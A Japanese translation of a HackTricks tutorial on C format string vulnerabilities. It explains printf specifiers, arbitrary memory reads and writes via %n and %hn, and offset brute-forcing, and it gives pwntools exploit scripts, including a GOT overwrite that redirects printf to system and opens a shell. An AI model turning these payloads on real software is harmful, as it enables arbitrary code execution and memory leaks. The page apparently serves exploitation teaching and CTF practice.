Format Strings

htARTE(HackTricks AWS Red Team Expert) を通じて、ゼロからヒーローまでAWSハッキングを学びましょう

基本情報

C言語では、printfは文字列を表示するために使用できる関数です。この関数が期待する最初のパラメータは、フォーマッタを含む生のテキストです。期待される次のパラメータは、生のテキストからフォーマッタを置換する値です。

他の脆弱な関数には**sprintf()fprintf()**があります。

脆弱性が発生するのは、この関数の最初の引数として攻撃者のテキストが使用された場合です。攻撃者は、printfフォーマット文字列の機能を悪用して、任意のアドレス(読み取り可能/書き込み可能)のデータを読み取りおよび書き込みする特別な入力を作成できます。これにより、任意のコードを実行できるようになります。

フォーマッタ:

%08x> 8 hex bytes
%d> Entire
%u> Unsigned
%s> String
%p> Pointer
%n> Number of written bytes
%hn> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3

例:

  • 脆弱性のある例:

char buffer[30];
gets(buffer);  // Dangerous: takes user input without restrictions.
printf(buffer);  // If buffer contains "%x", it reads from the stack.
  • 通常の使用方法:

int value = 1205;
printf("%x %x %x", value, value, value);  // Outputs: 4b5 4b5 4b5
  • 不足している引数を使用した場合:

printf("%x %x %x", value);  // Unexpected output: reads random values from the stack.
  • fprintf 脆弱性:

#include <stdio.h>

int main(int argc, char *argv[]) {
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input cna include formatters!
fclose(output_file);
return 0;
}

ポインタへのアクセス

フォーマット**%<n>$x**は、nが数字である場合、printfにn番目のパラメータ(スタックから)を選択させることができます。したがって、printfを使用してスタックから4番目のパラメータを読み取りたい場合は、次のようにします:

printf("%x %x %x %x")

そして、最初から4番目のパラメータまで読み取ることができます。

または、次のようにすることもできます:

printf("$4%x")

そして、4番目を直接読み取ります。

攻撃者がprintfパラメータを制御していることに注意してください。 これは基本的に、printfが呼び出されるときにスタックに彼の入力があることを意味し、つまり、彼はスタックに特定のメモリアドレスを書き込むことができます。

この入力を制御する攻撃者は、スタックに任意のアドレスを追加し、printfがそれにアクセスすることができます。次のセクションでは、この動作の使用方法について説明します。

任意の読み取り

フォーマッタ**%n$sを使用して、printfn番目にあるアドレスを取得し、それに続いて文字列として出力することが可能です(0x00が見つかるまで出力)。したがって、バイナリのベースアドレスが0x8048000**であり、ユーザー入力がスタックの4番目の位置から始まることを知っている場合、バイナリの先頭を次のように出力できます:

from pwn import *

p = process('./bin')

payload = b'%6$s' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param

p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'

アドレス0x8048000を入力の先頭に置くことはできません。なぜなら、そのアドレスの末尾には0x00が連結されるからです。

オフセットの検索

入力のオフセットを見つけるために、4バイトまたは8バイト(0x41414141)を送信し、%1$x に続けて値を増やしていき、A's を取得します。

Brute Force printf offset

```python # Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak

from pwn import *

Iterate over a range of integers

for i in range(10):

Construct a payload that includes the current integer as offset

payload = f"AAAA%{i}$x".encode()

Start a new process of the "chall" binary

p = process("./chall")

Send the payload to the process

p.sendline(payload)

Read and store the output of the process

output = p.clean()

Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output

if b"41414141" in output:

If the string is found, log the success message and break out of the loop

log.success(f"User input is at offset : {i}") break

Close the process

p.close()

</details>

### 有用性

任意読み取りは以下のように役立つことがあります:

- メモリから**バイナリ**を**ダンプ**する
- キャナリー、暗号キー、またはカスタムパスワードなどの**機密情報が格納されているメモリの特定の部分にアクセスする**(この[**CTFチャレンジ**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value)でのように)

## **任意書き込み**

フォーマッタ **`$<num>%n`** は、スタック内の\<num>パラメータで指定されたアドレスに**書き込まれたバイト数**を書き込みます。攻撃者がprintfで好きなだけ文字を書き込める場合、**`$<num>%n`** を使用して任意の数値を任意のアドレスに書き込むことができます。

幸いなことに、数値9999を書き込むには、入力に9999個の"A"を追加する必要はありません。そのためには、フォーマッタ **`%.<num-write>%<num>$n`** を使用して、**`num`の位置で指定されたアドレスに数値`<num-write>`**を書き込むことができます。
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500

しかしながら、通常、0x08049724 のようなアドレスを書くために(これは一度に書くには巨大な数です)、$n の代わりに $hn が使用されます。これにより、2 バイトだけを書くことができます。したがって、この操作はアドレスの上位 2 バイトと下位 2 バイトの両方に対して 2 回行われます。

したがって、この脆弱性により、任意のアドレスに任意のデータを書き込むことが可能です。

この例では、後で呼び出される GOT テーブル内の 関数アドレス上書き することが目標となります。これにより他の任意の書き込みを実行するテクニックを悪用できます:

ユーザーから 引数受け取る関数アドレスsystem 関数ポイント させます。 前述のように、アドレスを書き込むには通常 2 ステップが必要です: まず、アドレスの 2 バイトを書き込み、その後残りの 2 バイトを書き込みます。これには $hn が使用されます。

  • HOB はアドレスの上位 2 バイトを指します

  • LOB はアドレスの下位 2 バイトを指します

その後、フォーマット文字列の動作により、[HOB、LOB] のうち 小さい方を最初に書き込む 必要があります。

HOB < LOB の場合 [address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]

HOB > LOB の場合 [address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]

HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB

python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'

Pwntoolsのテンプレート

この種の脆弱性に対するエクスプロイトを準備するためのテンプレートを以下で見つけることができます:

または、こちらからの基本的な例:

from pwn import *

elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000       # ASLR disabled

p = process()

payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)

p.clean()

p.sendline('/bin/sh')

p.interactive()

バイナリオーバーフローへのフォーマット文字列

フォーマット文字列の脆弱性の書き込みアクションを悪用して、スタックのアドレスに書き込みバッファオーバーフロータイプの脆弱性を悪用することが可能です。

その他の例と参考文献

Last updated